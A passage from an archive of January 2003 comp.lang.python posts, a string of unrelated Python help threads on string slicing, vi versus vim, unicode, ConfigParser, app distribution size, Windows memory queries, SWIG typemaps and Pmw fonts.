>  >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
>  >      wulfraed at dm.net     |       Bestiaria Support Staff       <
>  > ============================================================== <
>  >        Bestiaria Home Page: http://www.beastie.dm.net/         <
>  >            Home Page: http://www.dm.net/~wulfraed/             <
>





From gerhard.haering at opus-gmbh.net  Wed Jan 22 09:43:18 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 22 Jan 2003 14:43:18 GMT
Subject: Newbie asks, how to get rid of the last four characters of a string?
References: <pan.2003.01.22.14.22.46.534199@yahoo.com>
Message-ID: <slrnb2tbf8.1jo.gerhard.haering@haering.opus-gmbh.net>

Christopher Culver <kricxjo.neniuspamajxo at yahoo.com> wrote:
> I'm somewhat new to Python and have run into this problem: I have a script
> whose first argument takes a MS Word file, which would end with .doc. I
> want to remove ".doc" and have just the file name without extension. Now,
> I know I can do this with regular expressions, but is there a function
> that can be used to chomp off the last four characters without having to
> import the re module?

#v+
>>> s = "foobar.doc"
>>> s[:-3]
'foobar.'
>>> s[:-4]
'foobar'
>>>
#v-

It's called 'slicing' in Python.

But this approach sucks. Better use the nice functions from os.path:

#v+
>>> import os.path
>>> os.path.splitext(s)
('foobar', '.doc')
>>> os.path.splitext(s)[0]
'foobar'
>>>
#v-

There's another possibility that sucks and that I can't recommend:

#v+
>>> s.split(".")[0]
'foobar'
>>> "my.word.document.doc".split(".")[0]
'my'
#v-

Just to add to your antipatterns list ;-)

os.path is the way to go.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From grayrest at grayrest.com  Wed Jan 29 23:41:59 2003
From: grayrest at grayrest.com (grayrest)
Date: Wed, 29 Jan 2003 23:41:59 -0500
Subject: [OT] vi vs. vim
In-Reply-To: <mailman.1043885199.21122.python-list@python.org>
References: <f210c9f3.0301281143.22c01152@posting.google.com> <mailman.1043799291.30192.python-list@python.org> <f210c9f3.0301290625.6ebe1aea@posting.google.com> <j6TZ9.100622$0v.2907983@news1.tin.it> <b190jt$m1k$1@slb3.atl.mindspring.net> <mailman.1043885199.21122.python-list@python.org>
Message-ID: <b1aaib$lbr$1@news-int.gatech.edu>

Andrew Bennetts wrote:
> Someone told me something similar once.  I think it was that "uu" or "u." or
> something like that in vi would undo, then redo, which is a convenient way
> go back to the point in the source where you made the last change, without
> changing it.  In vim (without tweaking the compatibility options), you'd
> have to do "u" then ^R.
> 
> Personally, I'd rather have multiple undo :)
> 
> -Andrew.
> 
> 

That would make sense, but if you care that much use '' or `` to get 
back to the spot or line you last edited in vim and keep multiple undo.

-- 
grayrest
http://grayrest.com/moz




From exarkun at intarweb.us  Fri Jan 24 13:58:02 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 13:58:02 -0500
Subject: Illegal literal or not?
In-Reply-To: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
Message-ID: <20030124185802.GB15790@meson.dyndns.org>

On Fri, Jan 24, 2003 at 06:46:18PM +0000, LJ & MT Lareau wrote:
> Is it possible to have Python produce the following literal output in the
> interactive mode.
> '"Let's try this!", they said.'
> If so what is the Python statement. I've tried several ways
> and can't seem to produce it.  Thanks for the help.
> 

http://python.org/doc/tut/node5.html, section 3.1.2

  Jp

-- 
A sad spectacle.  If they be inhabited, what a scope for misery 
and folly.  If they be not inhabited, what a waste of space.
                -- Thomas Carlyle, looking at the stars
-- 
 up 39 days, 21:49, 1 user, load average: 0.81, 0.64, 0.57
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/68d8327c/attachment.sig>

From gleki at gol.ge  Thu Jan 16 09:51:23 2003
From: gleki at gol.ge (Giorgi Lekishvili)
Date: Thu, 16 Jan 2003 15:51:23 +0100
Subject: unicode positions of characters
References: <3E26B008.4F281CD@gol.ge>
Message-ID: <3E26C6EB.8C916E34@gol.ge>

I guess, I have found a correct stuff:
hex_codec.py in encodings

Giorgi Lekishvili wrote:

> Hi all!
> Sorry for this question.
> Could somebody tell me how can I get the unicode hexadecimals of chars?
> e.g., 'char'  --> xyzv
> The idea is that I have to get a position of a latin char, and shift it
> withe a preset offset to get a new letter of another alfabet.
>
> TIA,
> Giorgi




From charles at pentek.com  Mon Jan 13 14:03:13 2003
From: charles at pentek.com (Charles Krug)
Date: Mon, 13 Jan 2003 19:03:13 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com> <mailman.1042119797.10638.python-list@python.org> <v1r87vpu6add72@corp.supernews.com> <TZrT9.2455$Dq.234800@newsread2.prod.itd.earthlink.net> <avv05o$72q$1@bob.news.rcn.net>
Message-ID: <slrnb263bj.k9u.charles@skinner.pentek.org>

On Mon, 13 Jan 2003 12:08:41 -0800, morden <morden at shadows.net> wrote:
> Terry Hancock wrote:
> 
>> Cameron Laird wrote:
>>
>>
>> The point is, that at a small college you have a better chance of 
>> becoming
>> a local star student nstead of just rank and file, and you can use that to
> 
> Yeah, you have a chance to become the best among the horrible
> and then hit the ceiling (or become lost in the surrounding
> vacuum). But some people have courage to be ugly I guess.
> There is no substitution for good instructors. The learning curve will
> have a different shape for sure :-)))
> Speaking from experience only.
> 

But good instructors at the undergrad level has very little to do with
the reputation of the school.

Academic tenure at some schools is purely granted on the basis of
research.  Someone who's a lousy instructor can thrive there, while at
some "less prestigious" school, tenure may require more student contact,
where such instructors won't last as long.

Of course, I've had good and bad instructors who were tenured, as well
as good and bad instructors who weren't.

I've also heard, "OH don't ever take HIM . . " of someone whom I thought
was a marvelous instructor, so go fig.





From mwh at python.net  Mon Jan 20 05:56:34 2003
From: mwh at python.net (Michael Hudson)
Date: Mon, 20 Jan 2003 10:56:34 GMT
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com> <b4iW9.2826$e34.1184@nwrddc04.gnilink.net>
Message-ID: <7h3el78ks2e.fsf@pc150.maths.bris.ac.uk>

Carl Banks <imbosol at vt.edu> writes:

> I think a C extension could create an object that is not an instance
> of object, in which case isinstance(something,object) would return
> false.

I think not, because a type is always an object.

isinstance(c, object) == issubclass(type(c), object) == True.
                      ^
           except for old-style instances 

My reading of the source would seem to confirm this, but I could well
have missed something...

Cheers,
M.

-- 
  My hat is lined with tinfoil for protection in the unlikely event
  that the droid gets his PowerPoint presentation working.
                               -- Alan W. Frame, alt.sysadmin.recovery



From bharad at attbi.com  Tue Jan  7 01:14:38 2003
From: bharad at attbi.com (Ragu)
Date: Tue, 07 Jan 2003 06:14:38 GMT
Subject: good name for a dict/list hybrid
References: <avd4ti$2jr$1@slb0.atl.mindspring.net>
Message-ID: <3E1A6EB2.8060908@attbi.com>


Andrew Dalke wrote:
> I have a class which I'm calling DictList.  
> [('Name', 'Andrew'), ('Lang', 'English'), ('Name', 'Andrew Dalke')]
>  >>> dl.keys()
> ['Lang', 'Name']


HashList?

cheers
-Ragu




From laocoon at eudoramail.com  Mon Jan 27 01:17:53 2003
From: laocoon at eudoramail.com (Lao Coon)
Date: Mon, 27 Jan 2003 07:17:53 +0100
Subject: how to use unicode?
References: <mailman.1043642087.32576.python-list@python.org>
Message-ID: <Xns93104A4771537Laocoon@62.153.159.134>

gfu <gfu at public.nn.gx.cn> wrote in news:mailman.1043642087.32576.python-
list at python.org:

> hello:
>      how to use unicode to show chinese? 
>      run python.exe in w2k,Python 2.2.2:
>     >>> u'????'
>       u'\xcb\xc6\xcd\xf8\xd2\xb3'
> 
>      run IDLE in w2k,Python 2.2.2:
>     >>> '????'
>      UnicodeError: ASCII encoding error: ordinal not in range(128)
>      
>      the "????" is a chinese.

You need the u prefix as you saw, now try printing it..

Lao



From alloydflanagan at attbi.com  Mon Jan 27 14:56:12 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 27 Jan 2003 11:56:12 -0800
Subject: SQL null conversion
References: <mailman.1043252682.479.python-list@python.org> <slrnb37c03.df8.gerhard.haering@lilith.my-fqdn.de> <b11gr9$lk1$1@wheel2.two14.net>
Message-ID: <a8b7f07a.0301271156.152161c2@posting.google.com>

Martin Maney <maney at pobox.com> wrote in message news:<b11gr9$lk1$1 at wheel2.two14.net>...
> Gerhard H?ring <gerhard.haering at gmx.de> wrote:
 
> Python seems to call it a "specification" whenever some doc reaches the
> "covers 90% of normal usage" state.  Sometimes that's good enough, but
> I suspect it's at the root of a lot of the half-baked reinventions of
> various wheels that litter the vaults... and many more than never
> become that visible.

I can't disagree that the documentation is minimal.  Some real-world
code samples would help tremendously.
I think the answer to your question can be found in the PEP -- look at
the "paramstyle" attribute.
Apparently the portable way to do parameters is to query the
paramstyle attribute and put your query together using the appropriate
style.  The alternative would be to have all the drivers support a
'standard' form of parameters, and convert to the database-specific
one on the fly.  Maybe in DBAPI 3.0.



From i.linkweiler at web.de  Tue Jan 28 17:46:28 2003
From: i.linkweiler at web.de (Ingo Linkweiler)
Date: Tue, 28 Jan 2003 23:46:28 +0100
Subject: BDE / ODBC with Python ?
References: <3E35249D.8010008@web.de> <b145ap$g07$1@news-reader11.wanadoo.fr>
Message-ID: <3E370844.3020006@web.de>

> Info, i had develop  a COM-server Python for Paradox : PONX.  See on my
> site, or on the NG
> 
> site :   http://mclaveau.com
> NG :   news://news.zoo-logique.org/programmation.Paradox

Seems to be interesting.
I do not speak french, perhaps you can give an english description of 
your development ?

Ingo






From johnroth at ameritech.net  Fri Jan 24 15:52:57 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 24 Jan 2003 15:52:57 -0500
Subject: PEP 8 and properties
References: <f57664b9.0301191717.2fa584d5@posting.google.com> <v2mlb2s499teb2@news.supernews.com> <f57664b9.0301201645.1f10b82b@posting.google.com> <v2pcp0eckg7tdd@news.supernews.com> <mailman.1043357026.17812.python-list@python.org>
Message-ID: <v339r0jlbdda2c@news.supernews.com>

"Ian Bicking" <ianb at colorstudy.com> wrote in message
news:mailman.1043357026.17812.python-list at python.org...
> On Mon, 2003-01-20 at 20:41, John Roth wrote:
> > I think so. As far as I'm concerned, the difference
> > is that a variable is something, while a method does
> > something. I know this isn't as clear a distinction as
> > I'd like, but then, most things have real fuzzy edges.
>
> This was my initial thought too.  Or I'd say, anything that has side
> effects should be a method.  So I've been using properties for
> calculated or dependent values, so I might have a color object that
has
> red, green, and blue attributes.  It also has hue, saturation, and
value
> attributes.  Red, green and blue are orthogonal to each other (though
of
> course limited to be numbers, etc).  But they are not orthogonal to
hue,
> saturation and value.  Obviously one of these is calculated, though it
> could actually be either one.  Or heck, hue, value and green could be
> the master attributes (if I wanted to work out the math :).
>
> But okay, I'm fine with that.  I'm also okay with side effects that
are
> for caching purposes.  If you have calculated values it's only normal
to
> add caching at some point in the process, and you don't want to change
> the interface in order to do that.  I'm also okay with side effects
that
> might even involve writing a cached value to disk.
>
> But then there's other calculated values I'm not so sure about.  In
this
> example maybe something like isBlack.  It's kind of calculated, but
it's
> constant for the color (assuming the color is immutable).  It would
> certainly never take an argument.  But I'm a little less comfortable
> with this... somehow it seems wrong for a test to be an attribute, and
> not a function.  But I know a lot of languages with properties use
this
> style often.

Intuitively, I'd agree with you. isBlack() certainly looks like a
function to me, not a variable. In fact, it intuitively suggests that
there
is an underlying variable named 'color.'

In general, "is" questions are, to me, functions.

John Roth


>
> I feel like there's other cases I haven't come up with, where the
rules
> I've decided on so far don't apply, or they do but I disagree with
them
> for that case.  There's no Python convention to go on in these cases,
> either.
>
> --
> Ian Bicking           Colorstudy Web Development
> ianb at colorstudy.com   http://www.colorstudy.com
> PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
> 4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241
>
>





From whisper at oz.net  Sat Jan  4 19:43:06 2003
From: whisper at oz.net (David LeBlanc)
Date: Sat, 4 Jan 2003 16:43:06 -0800
Subject: Distributing Python apps
In-Reply-To: <mqKR9.8564$8M3.1432708@news20.bellglobal.com>
Message-ID: <GCEDKONBLEFPPADDJCOEIEDIHCAA.whisper@oz.net>

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Norman Skrzypinski
> Sent: Saturday, January 04, 2003 15:50
> To: python-list at python.org
> Subject: Re: Distributing Python apps
>
>
>
> David LeBlanc wrote:
> > Taking a quick glance at just Python, I don't think your goal of putting
> > Python + app + data on a single 1.44mb floppy is realistic.
> >
> > Python installer on windows is 6+mb.
> >
> > Installed Python is at least 1+mb just for dll's and libs (not including
> doc
> > and examples etc.), of which some parts may not be needed by your app.
> > Additional specialist dll's and scripts needed by your app not
> included in
> > that estimate.
> >
> > In terms of a download, I'm betting that 2+mb for a runtime
> only including
> > application bytes (binaries and doc) is more likely.
>
> If that's the state of Python downloads, then may I suggest that
> the Python
> experts here must quickly figure out how to change that.
>
> From what I've seen, Python people are B2B.  If you're selling an
> application to a business client, then it may not matter to you
> if you have
> to download and install Python on every desktop.  Sure, just do it, while
> you're in there, putting the boots to them - and charge them for
> your time.
>
> But, how can I deliver my application to my customers with the least cost?
>
> >
> > I suggest a more practical and realistic goal is to plan on a CD
> > distribution. It's probably actually cheaper to distribute on CD then on
> > floppy these days anyway.
>
> I don't want to deliver on a CD or a floppy.  I want to deliver by ftp.
>
> >
> > David LeBlanc
> > Seattle, WA USA
>
> Norm

I don't think that it's safe to characterize Python folks as "B2B" - I think
it's far more pervasive then that (for example, all the games development).

2-6mb isn't a huge download these days IMO. A mere matter of minutes on
cable or dsl. Even when I was limited to a 24kbs modem (theoretically, 56kb,
but phone lines rarely delivered over 24kbs), a 6mb d/l wouldn't have
disuaded me or taken all _that_ long! In fact, I got a friend with such a
setup to d/l Python and wxWindows from New Zealand, and he didn't quibble or
have any troubles. In comparison, Mozilla is over 10mb and people d/l
that...

Python, with it's core dll's, and excluding the python coded libs, is
several mb in size (I misread something earlier and misstated the 2mb
figure - more like 4-6 if you include tkinter). That leaves out a lot that a
typical application might use (and includes some things that are likely not
needed by your app). Python isn't that big, but it's not tiny either. It's
size isn't out of line with VB or even an MFC C++ app if you count the
runtimes that MS ships with the OS. OTOH, neither VB or C++ deliver the fast
development or power of Python.

You mentioned wanting to have the distribution floppy sized, which is why I
commented on floppy vs. CD. BTW, even companies that focus on electronic
distribution often have a CD delivery alternative (for a few more dollars
plus shipping). Some people prefer that.

In the end, it's up to you as to whether or not you want to take a lot
longer to develop the same app in VB or C++ compared to the relatively minor
inconvenience of a slightly longer d/l time for your users. IMO, Python is
the clear winner.

Dave LeBlanc
Seattle, WA USA





From fredrik at pythonware.com  Sun Jan  5 10:39:56 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 05 Jan 2003 15:39:56 GMT
Subject: Regex Error Handling?!
References: <mailman.1041772808.12185.python-list@python.org>
Message-ID: <glYR9.4677$LY2.268627@newsc.telia.net>

Eladio Ventura wrote:

> I have a list of various mailing lists of interest which I want to
> process via a regex. Unfortunately the app crashes as soon as it gets
> to a line which doesn't match the regex, such as an empty line and the
> like. These are of the type 'NoneType', but I still can't figure out
> how to make it ignore non-matches to create a stable program. *sigh*

re.search returns a match object if the pattern matches, or None
if it doesn't match.  the "if" statement treats match objects as true
values, so you can use "if" right away to check for matches:

for line in lines:
    match = regex.search(line)
    if match:
        matches.append(match.group(part))
    else:
        print "We got a mismatched line!"

</F>





From nospam at bigfoot.com  Tue Jan 14 17:30:07 2003
From: nospam at bigfoot.com (Gillou)
Date: Tue, 14 Jan 2003 23:30:07 +0100
Subject: ConfigParser question
References: <mailman.1042566386.23438.python-list@python.org>
Message-ID: <b0227e$2muc$1@norfair.nerim.net>

"Carlos Molina" <cmolina at net-uno.net> a ?crit dans le message de news:
mailman.1042566386.23438.python-list at python.org...
> Greetings
>
> I'm new to python (i come from perl) and I am doing a little program...
> My question is with ConfigParser class..
>
> If I have the following conf file
>
> [dirs]
> recursive = /home/cmolina
> recursive = /etc
> recursive = /tmp/usr
>

You should not give the same name to various variables (recursive) within
the same section.

Alternative :
===
...
[dirs]
recursive = /home/cmolina /etc /tmp/usr
                  /somewhere/else
...
===

And then split the config.get('dirs', 'recursive')

Cheers

--Gilles






From jhefferon at smcvt.edu  Thu Jan  9 12:05:39 2003
From: jhefferon at smcvt.edu (Jim Hefferon)
Date: 9 Jan 2003 09:05:39 -0800
Subject: XML and Python
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com> <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com>
Message-ID: <545cb8c2.0301090905.541123b1@posting.google.com>

Tim Roberts <timr at probo.com> wrote
> I _STRONGLY_ recommend that you invest in the book, "Python & XML" by
> Christopher Jones & Fred Drake.  I'm only half-way through, and it's
> already been worth the money.
That *is* a good book.  You should also look at _Definitive XML Development_,
http://www.garshol.priv.no/download/text/ph1/, which has illuminated many
areas that were in the past dark to me.

Jim Hefferon



From geoff at gerrietts.net  Wed Jan 29 23:56:24 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Wed, 29 Jan 2003 20:56:24 -0800
Subject: [OT] vi vs. vim
In-Reply-To: <b1aaib$lbr$1@news-int.gatech.edu>
References: <f210c9f3.0301281143.22c01152@posting.google.com> <mailman.1043799291.30192.python-list@python.org> <f210c9f3.0301290625.6ebe1aea@posting.google.com> <j6TZ9.100622$0v.2907983@news1.tin.it> <b190jt$m1k$1@slb3.atl.mindspring.net> <mailman.1043885199.21122.python-list@python.org> <b1aaib$lbr$1@news-int.gatech.edu>
Message-ID: <20030130045624.GB13829@isis.gerrietts.net>

Quoting grayrest (grayrest at grayrest.com):
> Andrew Bennetts wrote:
> >Someone told me something similar once.  I think it was that "uu" or "u." 
> >or
> >something like that in vi would undo, then redo, which is a convenient way
> >go back to the point in the source where you made the last change, without
> >changing it.  In vim (without tweaking the compatibility options), you'd
> >have to do "u" then ^R.
> >
> 
> That would make sense, but if you care that much use '' or `` to get 
> back to the spot or line you last edited in vim and keep multiple undo.

If you /do/ tweak your cpoptions so that "u" behaves as in vi, "uu"
will work as the dinosaurs expect, but "u<ctrl-r>" will provide
multi-level undo. You can hit <ctrl-r> as many times as you like and
keep going back, then hit "u" again to switch direction. For someone
with vi-trained keying habits, it's handy.

--G.

-- 
Geoff Gerrietts <geoff @ gerrietts.net> "Many a man's reputation would not 
                                         know his character if they met on 
http://www.gerrietts.net/                the street." --Elbert Hubbard




From dale at riverhall.NOTHANKS.co.uk  Thu Jan 16 05:01:04 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 16 Jan 2003 10:01:04 +0000
Subject: Python23: cannot inherit from bool?
References: <bb3eec0f.0301141812.18e916bf@posting.google.com> <b03kr8$lbili$1@ID-71831.news.dfncis.de> <VioEfKAwHWJ+EwJk@jessikat.demon.co.uk>
Message-ID: <hk0d2vgdann9etn76olun0nj383jtf0ige@4ax.com>

Robin Becker <robin at jessikat.fsnet.co.uk> wrote:

>In article <b03kr8$lbili$1 at ID-71831.news.dfncis.de>, James Kew
><james.kew at btinternet.com> writes
>>FrankS wrote:
>>> It seems that 2.3 doesn't allow you to inherit from bool:
>>
>>I'm not qualified to comment on why it's not allowed, but out of interest:
>>why might you want to inherit from bool?
>>
>.... don't know the answer to that one, but is the non inheritance
>property available to ordinary python if yes we could create leaf
>classes.

At the risk of sounding dim: what's a leaf class?
--
Dale Strickland-Clark
Riverhall Systems Ltd



From pyth at devel.trillke.net  Thu Jan 16 12:47:39 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 16 Jan 2003 18:47:39 +0100
Subject: Custom Code Block
In-Reply-To: <b06g8c$dke$1@news2.netvision.net.il>; from zeev@clockwise3d.com on Thu, Jan 16, 2003 at 04:34:19PM +0200
References: <b06g8c$dke$1@news2.netvision.net.il>
Message-ID: <20030116184739.J349@prim.han.de>

Zeev Hadar wrote:
> I would like to add my own custom code block as part of my python C++
> extension.
> 
> I'm using Python 2.2 version as a script language for my engine and I have
> wrote same python extensions in C++ for it.
> 
> I would like to add my own special code block that gives me control over the
> execution:
> 
> For example - python code:
> 
> def MyFunc():
>             x = 5
>             MySpecialBlock:
>                         x = x+1
>                         print x
>             print "func end"

i'll soon make something available where i introduced
quite exactly that.  For a complete patch look here

    http://codespeak.net/moin/moin.cgi/IndentedExecution

I have since cleaned it up but that is not published. 
Maybe you are lucky and my patch already heads in the same
direction you want to go.  Note though, that i don't think
you could package my patch with your C++ extension because
i modified the interpreter loop and added new bytecodes.
I am not 100% sure that you can achieve it without modifying 
the Python core short of hooking into __import__, rewriting
parts of the compiler and finding a way to express your protocol
with current bytecodes. 

> Where "MySpecialBlock" is coded in C++ as part of my python extension, and
> gives me control over the execution of its following code block.
> 
> I need to execute some actions before and after running this code block and
> control whether to run it or not at all.

My patch does 95% of that. The last 5% beeing that the object before
the block can currently not decide to skip the execution but that
would be easy.  Implementing the 'code block execution handler' in C++
is completly orthogonal to what i did.  If you know how to integrate C++
objects you can combine it with my patch.

> Please direct me for how to achieve it in Python extension.

feel free to ask more details,

    holger




From wouterm at spammers-unite-here.com  Tue Jan 14 00:57:37 2003
From: wouterm at spammers-unite-here.com (Wouter van Marle)
Date: Tue, 14 Jan 2003 13:57:37 +0800
Subject: Convert g3 faxes to ps/pdf
References: <avtael$ofv4@imsp212.netvigator.com> <mailman.1042428863.24096.python-list@python.org>
Message-ID: <b0087v$ac121@imsp212.netvigator.com>

Thanks Jeff!

I do have all those pbm utils installed, and I got to the first bit
already... now I don't have pbmtops, only pbmtolps, completely overlooked
that one at first. It works perfectly!

Some problem now: when I run cat <g3 file> | g32pbm | pdmtops > outfile.ps
it returns code 127 and nothing happens. I do that with os.spawnpl().
Experimenting indicates that it goes wrong with the cat command already.
>From the manual I have no clue what I would do wrong here.

And getting a bit off-topic:
It is impossible to pipe this on to ps2pdf (which is the end result I want),
and pipe via gs -device=writepdf (hmm not correct here but you know what i
mean, can't check this option now) gives garbled pdf files. I have been
fiddling a bit with the gs options as I found them in the ps2pdf scripts.
I hoped to do the thing in one go:
cat <fax g3 file> | g32pbm | pbmtops | ps2pdf > <pdf file>



Wouter.

"Jeff Epler" <jepler at unpythonic.net> wrote in message
news:mailman.1042428863.24096.python-list at python.org...
> My system has g3topbm from netpbm-progs.  g3topbm | pbmtops should give
you
> want you ask for.
>
> Jeff
>





From db3l at fitlinxx.com  Mon Jan  6 11:08:46 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 06 Jan 2003 11:08:46 -0500
Subject: getting cross platform system information
References: <av4v3j$nhk$1@newsg1.svr.pol.co.uk> <slrnb1c0m6.3kp.gerhard.haering@lilith.my-fqdn.de> <v1c2ppk18asc98@corp.supernews.com> <av6p9e$ap4$1@news6.svr.pol.co.uk>
Message-ID: <u8yxydzw1.fsf@fitlinxx.com>

"Simon Bunker" <simon at rendermania.com> writes:

> by RAM usage I mean total free memory - eg what free gives you under Linux.
> Unix/Linux isn't really the problem, but Windows is as I don't know any
> win32 programming.

As others have pointed out, there are a lot of variables in terms of
just what you want to report in terms of memory usage.  But if you
want values that are basically what the Windows Task Manager (at least
under NT/2K/XP - but the API is documented for the 9x series too)
reports, you can use the GlobalMemoryStatus Win32 API function (see
MSDN for the API definition).  I believe it still remains unwrapped by
the win32all package, but here's some example code accessing it with
the available calldll module.  I'm sure you could also use you can
access it with the available ctypes module (and perhaps more simply),
but that didn't exist when I originally wrote this code.

          - - - - - - - - - - - - - - - - - - - - - - - - -
    import calldll, struct

    result   = {}
    kernel32 = calldll.load_library('kernel32')
    memstat  = calldll.get_proc_address(kernel32,'GlobalMemoryStatus')
    if memstat:
        buf = calldll.membuf(32)
        buf.write(struct.pack('1L',32))
        calldll.call_foreign_function(memstat,'l','',(buf.address(),))
        rtuple = struct.unpack('8L',buf.read())
        result['MemoryLoad']    = rtuple[1]   # [0] is len
        result['TotalPhys']     = rtuple[2]
        result['AvailPhys']     = rtuple[3]
        result['TotalPageFile'] = rtuple[4]
        result['AvailPageFile'] = rtuple[5]
        result['TotalVirtual']  = rtuple[6]
        result['AvailVirtual']  = rtuple[7]
    return result
          - - - - - - - - - - - - - - - - - - - - - - - - -

The memory load is in percentage - the other values are all bytes.
This API may not be accurate with more than 2GB of memory in a machine
(it rounds some values down to 2GB) and it will overflow at 4GB -
there's a GlobalMemoryStatusEx call that uses 64-bit return values if
you are worried about such cases, but that's unsupported on the Win 9x
series.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From mh at pixar.com  Thu Jan 30 19:00:48 2003
From: mh at pixar.com (Mark Harrison)
Date: Fri, 31 Jan 2003 00:00:48 GMT
Subject: converting data to hex
Message-ID: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com>

warning: newbie alert!

I've got an md5 digest and would like to print it as
a hex value, but I can't get the individual hex value
formatted.  Can someone loan me a clue?

import md5
d = md5.new("foo")
for x in d.digest():
    print "a", ("%02x" % x)  ## how do I convert x to int???

Many TIA!
Mark

-- 
Mark Harrison
Pixar Animation Studios



From Oschler at earthlink.net  Wed Jan 22 10:20:05 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Wed, 22 Jan 2003 15:20:05 GMT
Subject: Best SMTP/POP library?
Message-ID: <FEyX9.1$0L3.488@news2.news.adelphia.net>

I want to write my own email client, what is the best SMTP/POP library for
Python 2.2? URL's please.

thx






From andy at eastonwest.co.uk  Sun Jan  5 13:47:40 2003
From: andy at eastonwest.co.uk (andy)
Date: Sun, 5 Jan 2003 18:47:40 +0000
Subject: Console stall
In-Reply-To: <e62b26d3.0301050830.5ee03a0c@posting.google.com>
References: <e62b26d3.0301050830.5ee03a0c@posting.google.com>
Message-ID: <200301051847.40292.andy@eastonwest.co.uk>

On Sunday 05 Jan 2003 4:30 pm, Matt Singer wrote:
> I've hacked up some scripts that look up some info on various web
> sites and prints out info to the shell window (this is win32) as it
> goes along.  The odd thing is that it seems to "randomly" stall until
> you hit the return key in the shell window.
>
> Any thoughts on what I am doing stupidly? ;-)


I've had similar problems, but mostly with IDLE, running on NT4 and XP.  I 
don't get it with Linux tho, so I always attributed it to Windows' weird 
task-switching...  windows gives 'background tasks' less priority.  I even 
tried disabling the screen saver to no affect.  It seems that it does update 
itself again if you click back on the window.




From clifford.wells at attbi.com  Tue Jan  7 23:50:07 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 07 Jan 2003 20:50:07 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
In-Reply-To: <avfkpp$a7n$1@nyheter.chalmers.se>
References: <776e0325.0301070721.7405a312@posting.google.com>
	 <S5GS9.5881$qU5.4697503@newssrv26.news.prodigy.com>
	 <avfkpp$a7n$1@nyheter.chalmers.se>
Message-ID: <1042001407.3565.188.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-07 at 14:36, Jacob Hallen wrote:

> An interesting thought is wether the 55 Python programmers will produce
> more useful applications than the 2037 VB programmers.

Perhaps the 2037 VB programmers weren't productive enough, so now
there's 2037 more VB jobs available <wink>

-- 
Cliff Wells <clifford.wells at attbi.com>





From stojek at part-gmbh.de  Fri Jan 31 12:54:54 2003
From: stojek at part-gmbh.de (Marcus Stojek)
Date: Fri, 31 Jan 2003 17:54:54 +0000
Subject: Returning a lot of data from a c extension (SWIG,array, Numeric)
Message-ID: <q4dl3v8471aeappv13jr13av03krp73jk5@4ax.com>

Hi,

I have a c-extension that receives looong lists of doubles,
does some calculations and then returns those in another 
loong list. After some hard work (don't know much about c)
I got it running with SWIG and can use my module very 
comfortable now.

//typedef double d_list_out
%typemap(argout) (d_list_out *, int) {
    PyObject *o, *o2, *o3;
    PyObject *item;
    int      i;
    double   *vec =$1;
    int      size =$2;
//this is so s...l........o...........w
    o=PyList_New(0);//or better PyList_New(size)?
    for (i=0;i<size;i++) {
        item = PyFloat_FromDouble(vec[i]);
        PyList_Append(o,item);
    }
//.....................................
    if ((!$result) || ($result == Py_None)) {
        $result = o;
    } else {
        if (!PyTuple_Check($result)) {
            PyObject *o2 = $result;
            $result = PyTuple_New(1);
            PyTuple_SET_ITEM($result,0,o2);
        }
        o3 = PyTuple_New(1);
        PyTuple_SetItem(o3,0,o);
        o2 = $result;
        $result = PySequence_Concat(o2,o3);
        Py_DECREF(o2);
        Py_DECREF(o3);
    }

But what a shock! Returning my c-array into a Python list
takes almost as long as the calculations would have if done
in Python.

deja gave me a hint to use the array module to transform
'raw memory' into a list. But I have no idea how to this.

Or is the Numeric module what i need? Again I have no idea
how to use it in this context.

Thanks for any help.
marcus




From eric.brunel at pragmadev.com  Mon Jan 27 04:23:16 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Mon, 27 Jan 2003 10:23:16 +0100
Subject: Pmw Question.
References: <JoVY9.4647$U27.436386@newsread2.prod.itd.earthlink.net>
Message-ID: <b12tef$k49$1@news-reader10.wanadoo.fr>

Adonis wrote:
> How am I able to change the font of a widget in Pmw? (particularly the
> Pmw.OptionMenu) I googled around and came up with Pmw's font scheme, but I
> could not find anything on how to personalize it, unless I missed something?

Use Pmw extended options:

m = Pmw.OptionMenu(root, items=('toto', 'titi', 'tutu'), \
                          menubutton_font=('courier', 18))

Every component of a Pmw megawidget can have one of its options changed via the 
attribute <component name>_<option name> of the megawidget itself. See the 
